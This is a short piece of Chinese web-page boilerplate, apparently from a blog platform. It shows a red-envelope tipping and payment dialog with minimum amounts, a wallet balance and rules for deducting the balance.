添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值